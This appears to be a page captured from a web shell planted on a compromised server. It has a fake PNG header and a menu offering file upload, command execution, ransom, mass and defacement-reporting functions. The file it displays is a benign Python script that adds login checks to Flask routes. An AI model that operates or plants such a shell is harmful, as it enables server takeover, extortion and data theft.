\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv7/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv7/login_fix.py


#!/usr/bin/env python3
"""
Oturum kontrolünü düzeltmek için routes.py dosyasını otomatik olarak güncelleyen betik.
Bu betik, tüm rotalara @login_required dekoratörünü ekler.
"""

import re

# Sabit tanımlamalar
LOGIN_REQUIRED_DECORATOR = "@login_required"
EXCLUDED_ROUTES = ["login", "logout", "set_language", "set_theme", "dashboard_stats"]

def fix_routes():
    """routes.py dosyasındaki tüm rotalara @login_required ekle"""
    print("Oturum kontrolü düzeltmesi başlatılıyor...")
    
    # Dosyayı oku
    with open('routes.py', 'r', encoding='utf-8') as f:
        content = f.read()
    
    # Satır satır işle
    lines = content.splitlines()
    
    # Değişiklik yapılacak satırların indislerini ve yeni hallerini tut
    changes = []
    
    # Her bir "@app.route" satırını bul
    for i, line in enumerate(lines):
        if "@app.route" in line:
            # Sonraki satır (fonksiyon tanımlama satırı)
            if i + 1 < len(lines) and lines[i + 1].strip().startswith("def "):
                func_line = lines[i + 1]
                
                # Fonksiyon adını çıkar
                match = re.search(r'def\s+(\w+)\(', func_line)
                if match:
                    func_name = match.group(1)
                    
                    # Hariç tutulan rotaları atla
                    if any(excluded in func_name for excluded in EXCLUDED_ROUTES):
                        print(f"Atlanan rota: {func_name}")
                        continue
                    
                    # Zaten @login_required eklenmiş mi kontrol et
                    if i > 0 and LOGIN_REQUIRED_DECORATOR in lines[i-1]:
                        print(f"Zaten eklenmiş: {func_name}")
                        continue
                    
                    # Değişikliği kaydet
                    changes.append((i, f"{line}\n{LOGIN_REQUIRED_DECORATOR}"))
                    print(f"Düzeltilecek: {func_name}")
    
    # Değişiklikleri uygula (sondan başa doğru)
    # (Önceki satırların indeksi değişmesin diye)
    for line_index, new_line in sorted(changes, reverse=True):
        lines[line_index] = new_line
    
    # Dosyayı güncelle
    updated_content = '\n'.join(lines)
    with open('routes.py', 'w', encoding='utf-8') as f:
        f.write(updated_content)
    
    print(f"Tamamlandı! {len(changes)} rota güncellendi.")

if __name__ == "__main__":
    fix_routes()

© KUJUNTI.ID